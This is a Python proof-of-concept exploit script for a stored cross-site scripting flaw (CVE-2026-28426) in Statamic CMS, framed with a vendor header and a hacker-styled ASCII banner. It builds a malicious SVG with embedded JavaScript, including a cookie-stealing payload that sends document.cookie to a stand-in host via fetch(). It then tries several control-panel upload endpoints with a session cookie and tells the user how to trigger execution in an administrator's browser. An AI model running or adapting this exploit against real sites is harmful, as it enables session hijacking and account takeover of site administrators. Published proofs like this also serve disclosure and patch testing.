#!/usr/bin/env python3
# Exploit Title: Statamic CMS Stored XSS via SVG Upload
# CVE: CVE-2026-28426
# Date: 2026-02-28
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Vendor Homepage: https://statamic.com
# Software Link: https://github.com/statamic/cms
# Affected: Statamic CMS < 5.73.11 and < 6.4.0
# Category: Webapps
# Platform: PHP
# Exploit Type: Stored Cross-Site Scripting (XSS)
# CVSS: 8.7 (High)
# CWE: CWE-79
# Description: Stored XSS in Statamic CMS SVG/icon components allows authenticated users
# to upload malicious SVG files containing JavaScript that executes in the
# context of privileged users (e.g. admins) when viewing icons/assets.
# Fixed in: 5.73.11 and 6.4.0
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-28426 • Statamic Stored XSS via SVG ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import requests, argparse, os
from urllib.parse import urljoin
def create_malicious_svg(payload_type="alert"):
if payload_type == "alert":
js = 'alert("XSS PoC CVE-2026-28426\\nCookie: " + document.cookie);'
elif payload_type == "exfil":
js = 'fetch("https://your-server.com/steal?cookie="+encodeURIComponent(document.cookie),{method:"GET"});'
else:
js = payload_type
svg_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<script type="text/javascript">
{js}
</script>
<rect width="200" height="200" fill="lightblue"/>
<text x="50" y="100" font-size="20">XSS PoC</text>
</svg>'''
with open("malicious.svg", "w", encoding="utf-8") as f:
f.write(svg_content)
print("[+] Malicious SVG created: malicious.svg")
return "malicious.svg"
def upload_svg(target_url, session_cookie, svg_path="malicious.svg"):
possible_endpoints = [
"/cp/assets/upload",
"/cp/assets/containers/assets/upload",
"/cp/icons/upload",
"/cp/assets/upload-asset",
]
files = {"file": (os.path.basename(svg_path), open(svg_path, "rb"), "image/svg+xml")}
cookies = {"statamic": session_cookie}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC/1.0",
"X-Requested-With": "XMLHttpRequest",
}
uploaded = False
for endpoint in possible_endpoints:
upload_url = urljoin(target_url.rstrip("/") + "/", endpoint.lstrip("/"))
print(f"[*] Trying upload to: {upload_url}")
try:
r = requests.post(
upload_url,
files=files,
cookies=cookies,
headers=headers,
timeout=15,
allow_redirects=False
)
if r.status_code in (200, 201, 202, 204):
print(f"[+] Upload SUCCESS (HTTP {r.status_code}) → {upload_url}")
uploaded = True
break
else:
print(f"[-] HTTP {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if not uploaded:
print("[!] Upload failed — check endpoint via browser dev tools")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-28426 Statamic Stored XSS Exploit")
parser.add_argument("target", help="Base URL (e.g. http://statamic.local)")
parser.add_argument("--cookie", required=True, help="Statamic session cookie")
parser.add_argument("--payload", default="alert", help="alert | exfil | custom JS")
args = parser.parse_args()
svg_file = create_malicious_svg(args.payload)
upload_svg(args.target, args.cookie, svg_file)
print("\nTrigger: Log in as admin → view icon picker / assets → XSS executes")
if __name__ == "__main__":
main()